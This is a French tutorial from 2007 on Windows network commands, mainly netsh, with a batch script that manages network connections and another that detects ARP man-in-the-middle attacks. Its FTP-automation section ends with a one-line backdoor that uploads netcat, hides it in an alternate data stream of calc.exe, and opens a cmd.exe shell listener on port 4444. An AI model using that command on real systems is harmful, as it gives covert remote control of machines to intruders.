0x01. LISTE DE COMMANDES
Voici une liste des commandes les plus utilisés, et les plus connues par les informaticiens. Je vous mets à disposition ces commandes afin que vous puissiez les tester de vous même. La plus part des commandes MSDOS, doivent recevoir /? en paramètre pour avoir un contexte d'aide, il se peut que ce soit -h, mais c'est plus rare. L'option -h et --help sont généralement dédiée aux commandes linux.
ARP FTP GETMAC IPCONFIG IPSEC6 IPV6 IPXROUTE MSTSC NBTSTAT NET NET1 NETSHN NETSTAT PATHPING PING PING6 REXEC ROUTE RSH RSM RSMSINK RSMUI SYSTEMINFO TASKKILL TASKLIST TCPSVCS TELNET TFTP TLNTADMN TLNTSESS TLNTSVR
Il y a quelques commandes aux quelles nous allons nous intéressées plus particulièrement, du fait qu'elles sont moins connues que les autres mais pas forcément moins utiles. Mais tout d'abord nous allons voir les commandes aux quelles nous n'avons pas l'habitude.
0x02. DECOUVERTE
Partons à la découverte de ces commandes. Voyons : GETMAC, IPXROUTE, PATHPING, PING6, REXEC, RSH, SYSTEMINFO.
GETMAC
Comme son nom l'indique cette commande obtient l'adresse mac des inferfaces réseau ainsi que leur nom de transport, le nom utilisé par les programmes utilisant les socket et notamment winpcap.
IPXROUTE
Ce programme est destiné à fournir des opérations sur le routage du protocol IPX.
PATHPING
PathPing détermine la route, calcul les statistiques en fonction du délai d'attente de chaque routeur et ce jusqu'au routeur ou à la passerelle qui ne répond pss. A la différence de tracert qui se contente de tracer le chemin depuis l'hôte jusqu'à la destination, pathping récolte des statistiques en fonction des paquets perdus.
PING6
Cet outil est utilisé pour envoyer des requêtes ICMPv6 sur le protocol IPv6.
REXEC, RSH
REXEC et RSH permette respectivement d'envoyer des commandes aux serveurs de même noms, la plus part temps ce sont des serveurs Unix/Linux.
SYSTEMINFO
Récolte les informations matérielles et logicielles de l'ordinateur, elle récolte également les informations à propos des interfaces réseaux.
0x03. NETSH
Nous allons nous intéresser plus particulièrement à la commande NETSH car elle est d'une très grand utilité que ce soit sur un serveur ou sur un poste client. NETSH est un environnement permettant de configurer les propriétés réseaux. On peut accéder à cet environnement en tapant la commande seule, nous aurons donc droit à un prompt.
netsh> help REM - Changement de contexte. netsh> firewall netsh firewall> netsh firewall> .. netsh>
Elle permet en effet de configurer une adresse IP sur une carte réseau, l'interface réseau ou bien même de paramétrer l'interface Winsock. Nous allons donc voir quelques applications liées à NETSH. Il faut noter que pour certaines commandes NETSH nécessite le service "Routage et accès distant" doit être lancé:
net start remoteaccess
Voyons l'aide que propose NETSH. Nous avons en face de nous une aide sommaire, il y a plusieurs contexte, comme peut le montrer cette commande. Pour chaque contexte, il y a une aide associée. Si on avait à définir ce qu'est un contexte NETSH, je dirais simplement que c'est l'environnement dans lequel nous utilisons l'outil : winsock est un environnement application alors que interfaces est un environnement matériel. L'aide de NETSH :
netsh /? Utilisation : netsh [-a Fichier alias] [-c Contexte] [-r Machine distante] [Commande | -f Fichier Script] Les commandes suivantes sont disponibles : Commandes dans ce contexte : ? - Affiche une liste de commandes. add - Ajoute une entrée de configuration à une liste d'entrées. bridge - Modifications pour le contexte `netsh bridge'. delete - Supprime une entrée de configuration d'une liste d'entrées. diag - Modifications pour le contexte `netsh diag'. dump - Affiche un script de configuration. exec - Exécute un fichier script. firewall - Modifications pour le contexte `netsh firewall'. help - Affiche une liste de commandes. interface - Modifications pour le contexte `netsh interface'. ras - Modifications pour le contexte `netsh ras'. routing - Modifications pour le contexte `netsh routing'. set - Met à jour les paramètres de configuration. show - Affiche les informations. winsock - Modifications pour le contexte `netsh winsock'. Les sous-contextes suivants sont disponibles : bridge diag firewall interface ras routing winsock L'aide de NETSH INTERFACE netsh interface /? Les commandes suivantes sont disponibles : Commandes dans ce contexte : ? - Affiche une liste de commandes. add - Ajoute une entrée de configuration à une table. delete - Supprime une entrée de configuration d'une table. dump - Affiche un script de configuration. help - Affiche une liste de commandes. ip - Modifications pour le contexte `netsh interface ip'. ipv6 - Modifications pour le contexte `netsh interface ipv6'. portproxy - Modifications pour le contexte `netsh interface portproxy'. reset - Réinitialise les informations. set - Définit l'information de configuration. show - Affiche les informations. Les sous-contextes suivants sont disponibles : ip ipv6 portproxy
Maintenant que nous avons ces informations nous allons pouvoir créer un script qui nous permettra par exemple de nous connecter à une entreprise ou à la maison depuis l'ordinateur portable, en supposant qu'à la maison on ait un réseau avec adresses IP statiques.
@echo off set reseau=%1 set addr_ip=%3 set mask_ip=%4 set gateway=%5 if "%2"=="-d" goto DYNAMIC_IP if "%2"=="-s" goto STATIC_IP if "%2"=="--dhcp" goto DYNAMIC_IP if "%2"=="--static" goto STATIC_IP if "%2"=="--server" goto IP_SERVER title ETAT DE CONNEXION echo. echo. echo CONECT - Gestionnaire de configuration reseau echo (C) Copyright 2001-2007 Infinite Corp. echo --------------------------------------------- echo. echo Reseau avec architecture en DHCP ..... : -d -ou- --dhcp echo Reseau avec architecture statique .... : -s -ou- --static echo Configuration du poste en serveur .... : --server echo. echo Exemples: echo. echo conect "Local network" -d echo - Connecte l'ordinateur sur un reseau avec une architecture DHCP echo. echo conect "Local network" -s 192.168.7.123 255.255.192.0 192.168.1.1 echo - Defini les informations reseau de l'ordinateur echo. echo conect "Local network" --server echo - Cette option va configurer l'ordinateur comme un serveur echo. goto EOF :DYNAMIC_IP echo Configuration en mode DHCP de l'interface %reseau% en cours... netsh interface ip set address name=%reseau% source=dhcp echo Attribution d'une adresse reseau par serveur DHCP... nbtstat -RR > NUL arp -d > NUL ipconfig -release %reseau% > NUL ipconfig -renew %reseau% > NUL goto EOF :STATIC_IP if "%3"=="" goto GIVE_IP :IP_GIVEN echo Configuration de l'adresse IP statique de %reseau% en cours... netsh interface ip set address %reseau% static %addr_ip% %mask_ip% %gateway% 1 echo Definition du serveur DNS... netsh interface ip set dns name=%reseau% source=static addr=%gateway% goto EOF :GIVE_IP set /p addr_ip="Adresse IP: " set /p mask_ip="Masque: " set /p gateway="Passerelle: " goto IP_GIVEN :FIN_1 set reseau= set addr_ip= set mask_ip= IF EXIST DEL NUL ipconfig
En fouillant l'aide de NETSH nous pouvons même trouver quelques astuces pour permettre au firewall d'autoriser des applications de se connecter sur le réseau:
set allowedprogram C:/MonApp/MonApp.exe MonApp ENABLE CUSTOM 157.60.0.1,172.16.0.0/16,10.0.0.0/255.0.0.0,LocalSubnet 157.60.0.1 Adresse IP autorisée 172.16.0.0/16 Réseau autorisé en fournissant en paramètre un masque numérique 10.0.0.0/255.0.0.0 Réseau autorisé en fournissant en paramètre un masque LocalSubnet Identifie le réseau local de la machine
0x04. PROTECTION - MITM
Après avoir lu un article sur le MITM, Man In The Middle ; j'ai pensé à une éventuelle solution, elle reste à validée mais l'idée ne me semble pas mauvaise. L'idée est de vérifier que l'adresse MAC qui est en cache est bien celle d'une liste de serveur DHCP. Si elle est différente alors on poste une alerte comme quoi l'adresse MAC qu'on a en cache n'est pas la bonne, puis on se met en adressage statique.
D'abord dans le programme on défini l'adresse MAC du routeur, ou du serveur ainsi que le seuil. Notez l'utilisation de SETLOCAL qui permet aux variables d'avoir un temps d'éxecution limité au script. C'est dans cette première partie que le test est fait, si une adresse MAC n'est pas la bonne alors on va au sous-programme REPARE_1. Un sous-programme est un "label" dans le cas du langage DOS, ainsi qu'en assembleur.
SETLOCAL SET MAC= SET IP= SET DNS= SET COMPTEUR= SET SEUIL= REM -- A mettre ici l'adresse MAC d'un serveur DHCP de confiance. SET MAC_DHCP="00-07-3a-3d-75-2c" REM -- On défini le seuil à partir du quel on considérera que le cache est du à un serveur DHCP intrus. SET SEUIL=5 REM -- La surveillance se fait tant qu'on s'estime en lieu sur. :LOOP CLS ECHO. ECHO [-] Surveillance du cache ARP... REM -- Si il n'y aucune adresse MAC en cache on considère que nous ne sommes pas attaqué. arp -a | FIND "Aucune" > NUL IF %ERRORLEVEL%==0 GOTO LOOP REM -- Si dans le cache il y a l'adresse MAC lue alors on retourne au début arp -a | FIND %MAC_DHCP% > NUL IF "%ERRORLEVEL%"=="0" GOTO LOOP REM -- Sinon on comptabilise le nombre de tentative de corruption du cache. IF "%ERRORLEVEL%"=="1" GOTO MITM
Si la tentative d'injecter une adresse MAC dans notre ordinateur se fait à répétition, si elle se fait plus de %SEUIL% fois (qui est une variable à définir dès le début) alors on passe au label REPARE_1. Les conditions dans MSDOS sont un peu particuliètres car les comparaisons ne se font pas toutes avec des symboles, étant donné que le symbole ">" représente un flux sortant - c'est à dire allant de l'écran vers un fichier et le symbole "<" un flux entrant, ils ne peuvent être utilisé en symbole de comparaison. Il y a alors plusieurs opérateurs alphanumériques agissant en comparateur. Pour en savoir plus, il suffit de taper IF /? sous la console MSDOS
EQU - égal à NEQ - différent de LSS - inférieur à LEQ - inférieur ou égal à GTR - supérieur à GEQ - supérieur ou égal à
:MITM REM -- Un "Man In The Middle" est détecté, on incrémente le compteur ECHO [+] Man In The Middle détecté ! set /A COMPTEUR = %COMPTEUR% + 1 REM -- Si le compteur dépasse le seuil, l'intrus a un serveur DHCP ou envoie des requêtes en boucle IF %COMPTEUR% GTR %SEUIL% GOTO REPARE_2 REM : IF %COMPTEUR% gtr %SEUIL% GOTO REPARE_2 GOTO REPARE_1
Essaie de réparer la connexion, en supprimant l'intrus - l'adresse MAC et configurant la machine avec une adresse MAC statique dirigée vers le serveur DHCP.
REM -- La réparation dans un premier temps va consister à mettre une adresse MAC statique en cache :REPARE_1 ECHO. ECHO [v] Le cache ARP a été supprimé. arp -d > NUL FOR /F %%i in ( MAC.ini ) do ( set MAC=%%i ) FOR /F %%i in ( IP.ini ) do ( set IP=%%i ) arp -s %IP% %MAC% > NUL ECHO. pause GOTO LOOP
Si le problème persiste, on passe en adresse IP statique en ayant quand même pris soin d'avoir vidé le cache ARP.
REM -- Si l'adresse MAC n'est pas enregistré dans le cache, qu'elle s'efface ou que l'adresse MAC de l'intrus REM -- est toujours là, on passe en adresse IP statique pour être sûr que notre traffic ne sera pas REM -- redirigé vers lui. :REPARE_2 ECHO. ECHO [!] Serveur DHCP intrus détecté. FOR /F %%i in ( IP.ini ) do ( set IP=%%i ) FOR /F %%i in ( MASK.ini ) do ( set MASK=%%i ) FOR /F %%i in ( DNS.ini ) do ( set DNS=%%i ) FOR /F %%i in ( IFC.ini ) do ( set IFC=%%i ) arp -d > NUL REM netsh interface ip set address %IFC% static %IP% %MASK% %DNS% 1 > NUL REM netsh interface ip set dns name=%IFC% source=static addr=%DNS% > NUL ECHO. ECHO [v] Configuration en IP statique. ECHO [-] Surveillance du cache ARP désactivée. ECHO. pause :EOF ENDLOCAL
0x05. AUTOMATISATIONS FTP
Pour plus de confort, notamment pour installer à distance un programme à l'aveugle il peut être utile de lancer des commandes de manière à ce qu'elles en lancent d'autres, par exemple, un appel à un script qui lui-même téléchargerait un fichier à partir d'un serveur FTP, puis une fois le téléchargement terminé, s'installerait. L'installation ne demandant bien évidemment aucune intervention de la part de l'utilisateur.
echo open 127.0.0.1 > ftp_connect.script && echo ftpusr >> ftp_connect.script && echo ftpusr >> ftp_connect.script && echo lcd c:/ >> ftp_connect.script && echo put programme_a_installer.exe programme_a_installer.exe >> ftp_connect.script && echo bye >> ftp_connect.script && ftp -v -s:ftp_connect.script
Le client FTP de Windows peut exécuter des scripts et sont architecturés de la manière suivante : l'adresse IP oà se connecter en FTP, le nom d'utilisateur, le mot de passe en clair (et oui !), le chemin local (côté client) oà chercher le programme à envoyer, la requête d'envoie du programme puis la déconnexion du serveur FTP. Tout ceci est dans notre cas écrit dans le fichier 'ftp_connect.script' ce qui correspond aux commandes qu'on aurait eu à taper après être rentré dans l'invité de commende FTP :
open 127.0.0.1 ftpusr ftpusr lcd c:/ put proramme_a_installer.exe programme_a_installer.exe bye
En principe tout est écrit sur une seule et même ligne, le double éperluette ( && ) permet d'exécuter deux commandes à la suite. En fait il s'agit de l'opération logique ET, toutes les opérations se font tant que la précédente est bien exécutée, c'est à dire que %ERRORLEVEL% doit être à 1, pour mieux comprendre on peut le voir de la manière suivante:
ping -n 1 127.0.0.1 | find "TTL" && echo %ERRORLEVEL% >> Affiche: Réponse de 127.0.0.1 : octets=32 temps<1ms TTL=128 1 ping -n 1 127.0.0.1 | find "N_IMPORTE_QUOI" && echo %ERRORLEVEL% >> Affiche: ( rien )
On pourrait donc très bien obtenir un shell à distance en cachant NetCat dans un flux alternatif, par exemple dans la calculatrice:
echo open 127.0.0.1 > ftp_connect.script && echo ftpusr >> ftp_connect.script && echo ftpusr >> ftp_connect.script && echo lcd c:/ >> ftp_connect.script && echo put netcat.exe nc.exe >> ftp_connect.script && echo bye >> ftp_connect.script && ftp -v -s:ftp_connect.script && type nc.exe > %WINDIR%/system32/calc.exe:nc.exe && start /b %WINDIR%/system32/calc.exe:nc.exe -l -L -p 4444 -e cmd.exe
Voici comment transformer une innocent calculatrice en véritable backdoor ! Pour se protéger de cela il suffit de mettre son système à jour, de ne pas laissé des services activés inutilement (c'est souvent par là que transitent des données malicieuses) mais en plus d'avoir l'antivirus qui scanne les flux alternatifs : netcat est reconnu par la plus part des antivirus comme étant une backdoor.
0x06. CONCLUSION
Voici la fin de ce tutoriel quelque peu original puisque au début je comptais vous expliquer les applications réseaux utilisées sous MSDOS, puis finalement je me suis retrouvé à developper ce petit utilitaire MITM. En espèrant avoir tout de même attiré votre curiosité et vous avoir appris quelque chose.
Les programmes :
Le programme MITM complet, détecteur de Man In The Middle
Le gestionnaire de connexion via NETSH
Un programme qui permet de deviner l'adresse IP d'un réseau
Réinitialisation des Winsock
=> Écrit par : Nicolas, le 06 octobre 2007